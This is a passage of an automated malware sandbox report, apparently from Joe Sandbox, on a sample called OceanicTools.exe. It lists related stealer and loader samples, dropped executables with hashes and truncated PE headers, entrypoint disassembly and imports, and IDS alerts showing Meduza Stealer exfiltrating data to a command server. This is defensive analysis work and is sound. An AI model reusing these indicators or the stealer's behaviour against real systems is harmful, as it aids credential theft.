37f463bf4616ecd445d4a1937da06e19	v.1.6.3__x64__.msi	Get hash	malicious	LegionLoader	Browse	104.26.13.205
	phantomtoolsv2.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	bot.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	narud#U017ebenica TISAKOMERC d.o.oRadbrkkedes234525262623.wsf	Get hash	malicious	Remcos, GuLoader	Browse	104.26.13.205
	v.1.5.4__x64__.msi	Get hash	malicious	LegionLoader	Browse	104.26.13.205
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	Synaptics.exe	Get hash	malicious	XRed	Browse	104.26.13.205
	Quotation-GINC-19-00204.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.26.13.205
	Produkttyper.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.26.13.205

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe:a.dll	phantomtoolsv2.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ydgkqm4.hvm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_esdjv2hf.usj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ewsbthld.xe1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k43eqanp.ixk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ok5tzepb.rs5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pt45fufj.tj4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rhmebzhd.nwh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tbogp5v5.2nq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Download File

Process:	C:\Users\user\Desktop\OceanicTools.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2746880
Entropy (8bit):	7.220509258321107
Encrypted:	false
SSDEEP:	49152:EZPf0tL9d77T+WScpPNBqB0+i8jS9fQzm/kv49hISc1HeW6YS3jLqFtJc:TVScpPN3D/8Sc1HeW6YSad
MD5:	0C01CFC0685211B3C655C7A9526F1849
SHA1:	864D23804B6E3C98EFD1B56863A484B505DDF40B
SHA-256:	8D6EE227C57E825BC978DB47C7587D46E7DF06E3656D493486EE26B1426C98A6
SHA-512:	6024A41F371D77A82608C0E8FF314853404A50DECB77838ACE61C43A72EF954F4A227849B85E2AA3EF0749120E8361F13145006652596FB22B2F972BF7585719
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...(..g...............)......)................@.............................`..........`... ..............................................................(..............@.............................`H'.(...................P...............................text...p...........................`..`.data....0.......2..................@....rdata..............................@..@.pdata........(.......'.............@..@.xdata..$#....(..$....(.............@..@.bss..........)..........................idata...............).............@....CRT....`.... .......).............@....tls.........0.......).............@....reloc.......@*.......).............@..B................................................................................................................................................................................................................

C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe:a.dll

Download File

Process:	C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1430016
Entropy (8bit):	7.516273947536266
Encrypted:	false
SSDEEP:	24576:TjSpDfQz9pRxewMCvnv49hIScHVpwPczeWkL5yS6oMKH95T2FvVJsE0jou:TjS9fQzm/kv49hISc1HeW6YS3jLqFtJc
MD5:	BC690CC3A740F79F71732E6DBA60B67A
SHA1:	1B3B7107BDDDCEE5F10781F466A52F195190F342
SHA-256:	3FB6B027285DB00651F0257DF8F5CA9DB5665A24A5E23F476CD3E71244BFBC7F
SHA-512:	BD090037334592F7000BE3EC1FF3E77F4303F59F071A7FD6D21EEE6B96D07D8AAF6F51725369F2823DD9E0FE2BC1F437BC0FC32EE7AF2DE2ED49C0B654BF521A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: phantomtoolsv2.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......g..........."...)............`..........`.............................@...........`... ..............................................................................0..............................@...(...................@................................text...............................`..`.data....[...0...\..................@....rdata...........0...v..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..............................@..@.idata..............................@....CRT....X...........................@....tls......... ......................@....reloc.......0......................@..B........................................................................................................................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	275
Entropy (8bit):	4.825671547285939
Encrypted:	false
SSDEEP:	6:PzXULmWxHLTpUrraGbsW3CNcwAFeMmvVOIHJFxMVlmJHaVFtIk3:P+pTpcraGbsTDAFSkIrxMVlmJHaVPN
MD5:	048DC6B94735C4768D20ED5E3F14F565
SHA1:	6B92CCD1E038396F675090384C6E8DFC742614ED
SHA-256:	6D0C347234F09E710D6B842ED14CD27792E71E5B906E9E806E77AFE8FF08E1BE
SHA-512:	88DF2342FFD4D303BEF828A12F7BEB505DC06E0BE6E91FF7FDA74DE31FAA289089557C036293EE3B0EE55A62D62CC804953C0D89591E662A0B513525AA40093E
Malicious:	false
Preview:	..Pinging 1.1.1.1 with 32 bytes of data:..Reply from 1.1.1.1: bytes=32 time=6ms TTL=51....Ping statistics for 1.1.1.1:.. Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 6ms, Maximum = 6ms, Average = 6ms..

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	5.721337080998218
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	OceanicTools.exe
File size:	23'282'688 bytes
MD5:	f975ef6b34160bff3ba3c8c815f9e77c
SHA1:	4b818a41b68f8ed6f6719db14e19f955a60aebe8
SHA256:	ae04f1bc929f6f83a4010f59fcc1f78caea5d198ae3779c7e058608effcc56af
SHA512:	ba08c564b363affea6c39394955feb327a6c15cde9a5b83806088fcfdb4b4464deb24dcbca0e2cb5f26ae9172d7c8fb94ed58e0a534bf21deb4957363f67a222
SSDEEP:	98304:XHE3AU4FiZ0ZXawT/2MMlOLG9ffkTj8cywcAk:U3u0Z0EdM1LGdUjKA
TLSH:	FA374231BE115CDBE42C84396B6C1DB6125374A2835937F316B4C4669FABA801EFE9F0
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...F..g.........."......r....H.....0..........@..............................c...........`........................................

File Icon


Icon Hash:	2b911271b092cc65

Static PE Info

General

Entrypoint:	0x140001430
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x670ACC46 [Sat Oct 12 19:21:42 2024 UTC]
TLS Callbacks:	0x4009d4d0, 0x1, 0x4009d550, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	7ce28c460544692ee4662469e5f6a2a5

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [011A7BE5h]
mov dword ptr [eax], 00000000h
call 00007FCA70831AFFh
nop
nop
nop
dec eax
add esp, 28h
ret
nop
dec eax
sub esp, 28h
call 00007FCA708CE73Ch
dec eax
cmp eax, 01h
sbb eax, eax
dec eax
add esp, 28h
ret
nop word ptr [eax+eax+00000000h]
nop
ret
int3
int3
int3
int3
int3
int3
int3
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc eax, E8000000h
pop ebx
push ds
add dword ptr [eax-73h], ecx
inc ebp
dec esp
cmp eax, edi
jc 00007FCA70831E11h
dec eax
sub esp, 08h
dec esp
mov ecx, ebp
dec eax
mov edx, ebx
dec eax
sub esp, 20h
xor eax, eax
call 00007FCA708CC50Fh
dec eax
add esp, 28h
dec eax
test eax, eax
je 00007FCA70831DF1h
dec eax
lea ebx, dword ptr [00FED78Ah]
dec eax
mov dword ptr [ebp-10h], ebx
dec eax
mov dword ptr [ebp-08h], eax
dec esp
lea esi, dword ptr [011E5B83h]
dec eax
add ebp, FFFFFFF0h
jmp 00007FCA7141E67Fh
jmp dword ptr [ebx]
inc ecx
jmp dword ptr [ebp-10h]
nop dword ptr [eax+00h]
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
mov eax, 480138F3h
lea eax, dword ptr [ebp-10h]
dec esp
cmp eax, edi
jc 00007FCA70831DEEh
dec eax
lea eax, dword ptr [00FF4C48h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x11dd3e8	0x1e0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x15c5000	0x1c40	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1451000	0x3f0c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x15c7000	0x77cbc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11e6000	0x1c	.buildid
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x11af1b0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11de3b0	0xde8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11a7106	0x11a7200	1f006589baba4444741e48c6b0a969b8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11a9000	0x3c494	0x3c600	72a5f1c7fcdf00e3bfc2461b26ca63f0	False	0.3767711568322981	data	6.098559502059012	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.buildid	0x11e6000	0x35	0x200	907a0928047c31ee3bc6c3944b70ded4	False	0.11328125	data	0.6762069189082892	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x11e7000	0x269c30	0x263800	52a3a80d09629fff894aa60a4160c1ee	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1451000	0x3f0c	0x4000	6d194798cd345f80b4b2973e1e9f52cb	False	0.5328369140625	data	6.117439635264307	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rdata	0x1455000	0x16ef36	0x16f000	e96db42bb61430c866f3ee70a5ac3f58	False	0.05679030249489101	data	3.066097491781689	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x15c4000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x15c5000	0x1c40	0x1e00	b33969f13f843835891fadb3de65d294	False	0.85859375	data	7.491079838096	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x15c7000	0x77cbc	0x77e00	3582f1dcf2324b999542dc75f0b6036a	False	0.12425866788321167	data	5.45329588368336	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x15c5318	0x190f	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9549493374902572
RT_GROUP_ICON	0x15c6c28	0x14	data	English	United States	1.05
RT_MANIFEST	0x15c50f0	0x224	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5620437956204379

Imports

DLL	Import
KERNEL32.dll	AcquireSRWLockExclusive, AddDllDirectory, AddVectoredContinueHandler, AreFileApisANSI, AssignProcessToJobObject, Beep, CancelIoEx, CloseHandle, CopyFileW, CreateDirectoryExW, CreateDirectoryW, CreateEventA, CreateEventW, CreateFileW, CreateIoCompletionPort, CreateJobObjectW, CreateNamedPipeW, CreatePipe, CreateProcessW, CreateSemaphoreA, CreateSymbolicLinkW, CreateThread, CreateTimerQueue, CreateTimerQueueTimer, CreateToolhelp32Snapshot, DefineDosDeviceW, DeleteCriticalSection, DeleteFileW, DeleteTimerQueueEx, DeleteTimerQueueTimer, DeviceIoControl, DuplicateHandle, EnterCriticalSection, ExitThread, FileTimeToLocalFileTime, FileTimeToSystemTime, FindClose, FindCloseChangeNotification, FindFirstChangeNotificationW, FindFirstFileW, FindNextChangeNotification, FindNextFileW, FlushConsoleInputBuffer, FlushFileBuffers, FormatMessageA, FormatMessageW, FreeEnvironmentStringsA, FreeEnvironmentStringsW, FreeLibrary, GenerateConsoleCtrlEvent, GetACP, GetBinaryTypeW, GetCPInfo, GetCommandLineW, GetConsoleCP, GetConsoleMode, GetConsoleOutputCP, GetConsoleScreenBufferInfo, GetConsoleScreenBufferInfoEx, GetCurrentDirectoryW, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetDiskFreeSpaceW, GetEnvironmentStrings, GetEnvironmentStringsW, GetEnvironmentVariableW, GetExitCodeProcess, GetFileAttributesA, GetFileAttributesExW, GetFileAttributesW, GetFileInformationByHandle, GetFileSizeEx, GetFileTime, GetFileType, GetFinalPathNameByHandleW, GetFullPathNameW, GetLastError, GetLocalTime, GetLogicalDrives, GetLongPathNameW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleW, GetNumaHighestNodeNumber, GetNumberOfConsoleInputEvents, GetOEMCP, GetOverlappedResult, GetProcAddress, GetProcessId, GetProcessTimes, GetQueuedCompletionStatusEx, GetShortPathNameW, GetStartupInfoA, GetStdHandle, GetSystemDirectoryW, GetSystemInfo, GetSystemTime, GetSystemTimeAdjustment, GetSystemTimeAsFileTime, GetTempFileNameW, GetTempPathW, GetThreadTimes, GetTickCount, GetTickCount64, GetTimeFormatEx, GetTimeFormatW, GetTimeZoneInformation, GetWindowsDirectoryW, GlobalMemoryStatusEx, InitializeConditionVariable, InitializeCriticalSection, InitializeSRWLock, IsDBCSLeadByteEx, K32EnumProcessModules, K32GetModuleFileNameExW, K32GetModuleInformation, LeaveCriticalSection, LoadLibraryExW, LoadLibraryW, LocalFileTimeToFileTime, LocalFree, LockFileEx, Module32FirstW, Module32NextW, MoveFileExW, MoveFileW, MultiByteToWideChar, OpenProcess, OutputDebugStringA, PeekConsoleInputA, PeekNamedPipe, PostQueuedCompletionStatus, Process32FirstW, Process32NextW, QueryInformationJobObject, QueryPerformanceCounter, QueryPerformanceFrequency, ReadConsoleInputA, ReadConsoleInputW, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, ReleaseSemaphore, RemoveDirectoryW, RemoveDllDirectory, RemoveVectoredContinueHandler, ResetEvent, ResumeThread, RtlAddFunctionTable, RtlDeleteFunctionTable, SearchPathW, SetConsoleCP, SetConsoleCtrlHandler, SetConsoleCursorPosition, SetConsoleMode, SetConsoleOutputCP, SetConsoleScreenBufferSize, SetCurrentDirectoryW, SetEndOfFile, SetEnvironmentVariableW, SetEvent, SetFileApisToANSI, SetFileApisToOEM, SetFileAttributesW, SetFileCompletionNotificationModes, SetFilePointerEx, SetFileTime, SetHandleCount, SetHandleInformation, SetInformationJobObject, SetLastError, SetLocalTime, SetNamedPipeHandleState, SetSystemTime, SetSystemTimeAdjustment, SetUnhandledExceptionFilter, SetVolumeLabelW, Sleep, SleepConditionVariableSRW, SystemTimeToFileTime, TerminateJobObject, TerminateProcess, TlsGetValue, UnlockFileEx, UnmapViewOfFile, VirtualAlloc, VirtualAllocExNuma, VirtualFree, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WakeAllConditionVariable, WakeConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile, __C_specific_handler
USER32.dll	ClipCursor, ExitWindowsEx, GetClipCursor, GetCursorPos, GetLastInputInfo, KillTimer, LoadAcceleratorsW, LoadCursorW, LoadIconW, MessageBeep, MessageBoxA, MessageBoxW, SetCursorPos, SetTimer
api-ms-win-crt-heap-l1-1-0.dll	_aligned_free, _aligned_malloc, _set_new_mode, calloc, free, malloc, realloc
api-ms-win-crt-private-l1-1-0.dll	memchr, memcmp, memcpy, memmove, strrchr, strstr
api-ms-win-crt-runtime-l1-1-0.dll	__p___argc, __p___argv, __p___wargv, __p__acmdln, _assert, _beginthreadex, _cexit, _configure_narrow_argv, _configure_wide_argv, _crt_at_quick_exit, _crt_atexit, _errno, _fpreset, _getpid, _initialize_narrow_environment, _initialize_wide_environment, _initterm, _set_app_type, _set_invalid_parameter_handler, _wassert, abort, exit, raise, signal, strerror
api-ms-win-crt-stdio-l1-1-0.dll	__acrt_iob_func, __p__commode, __p__fmode, __stdio_common_vfprintf, __stdio_common_vfwprintf, __stdio_common_vsprintf, __stdio_common_vswprintf, __stdio_common_vswprintf_s, _chsize_s, _close, _creat, _dup, _dup2, _fileno, _get_osfhandle, _isatty, _lseeki64, _open_osfhandle, _pipe, _read, _setmode, _wfdopen, _write, fclose, feof, fflush, fputc, fputwc, fread, fseek, ftell, fwrite, getc, puts, ungetc
api-ms-win-crt-string-l1-1-0.dll	_strdup, _wcsdup, islower, isspace, isupper, isxdigit, mbrlen, memset, strcmp, strcpy, strlen, strncmp, strncpy, strtok, tolower, wcscat, wcscmp, wcscpy, wcslen, wcsncmp
SHELL32.dll	CommandLineToArgvW, SHGetFolderPathW
api-ms-win-crt-environment-l1-1-0.dll	__p__environ, __p__wenviron, getenv
api-ms-win-crt-convert-l1-1-0.dll	atof, atoi, mbrtowc, mbstowcs, strtol, strtoul, wcrtomb
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale, localeconv, setlocale
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr, acos, asin, atan, cosh, sinh, tan, tanh
api-ms-win-crt-time-l1-1-0.dll	__daylight, __timezone, __tzname, _ctime64, _localtime64, _time64, _tzset, _utime64
ADVAPI32.dll	GetUserNameW, RegCloseKey, RegConnectRegistryW, RegCreateKeyExW, RegCreateKeyW, RegDeleteKeyW, RegDeleteValueW, RegEnumKeyW, RegEnumValueW, RegFlushKey, RegGetValueW, RegLoadKeyW, RegNotifyChangeKeyValue, RegOpenKeyExW, RegOpenKeyW, RegQueryInfoKeyW, RegQueryValueExW, RegQueryValueW, RegReplaceKeyW, RegRestoreKeyW, RegSaveKeyW, RegSetValueExW, RegSetValueW, RegUnLoadKeyW
WS2_32.dll	WSACleanup, WSACreateEvent, WSADuplicateSocketW, WSAEventSelect, WSAGetLastError, WSAIoctl, WSASend, WSASocketW, WSAStartup, accept, bind, closesocket, connect, freeaddrinfo, getaddrinfo, getnameinfo, getpeername, getsockname, getsockopt, htonl, htons, ioctlsocket, listen, ntohl, ntohs, recv, recvfrom, select, send, sendto, setsockopt, socket
ole32.dll	CoCreateGuid
RPCRT4.dll	RpcStringFreeW, UuidToStringW
WINMM.dll	timeBeginPeriod, timeEndPeriod, timeGetDevCaps, timeGetTime
api-ms-win-crt-utility-l1-1-0.dll	qsort
api-ms-win-crt-filesystem-l1-1-0.dll	_access, _chmod, _fstat64, _lock_file, _mkdir, _umask, _unlink, _unlock_file, _wsplitpath_s, _wstat64
dbghelp.dll	MiniDumpWriteDump, StackWalk64, SymFromAddr, SymFunctionTableAccess64, SymGetLineFromAddr64, SymGetModuleBase64, SymInitialize
ntdll.dll	NtQueryObject
GDI32.dll	DeleteObject, Polygon

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-13T01:40:44.807886+0200	2049441	ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt	1	192.168.2.5	49962	79.137.202.152	15666	TCP
2024-10-13T01:40:44.807886+0200	2050806	ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2	1	192.168.2.5	49962	79.137.202.152	15666	TCP
2024-10-13T01:40:44.807886+0200	2050807	ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)	1	192.168.2.5	49962	79.137.202.152	15666	TCP
2024-10-13T01:40:44.813907+0200	2050806	ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2	1	192.168.2.5	49962	79.137.202.152	15666	TCP
2024-10-13T01:40:44.813907+0200	2050807	ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)	1	192.168.2.5	49962	79.137.202.152	15666	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 01:39:57.492340088 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:57.498012066 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:57.498095036 CEST	49720	80	192.168.2.5	185.208.158.47
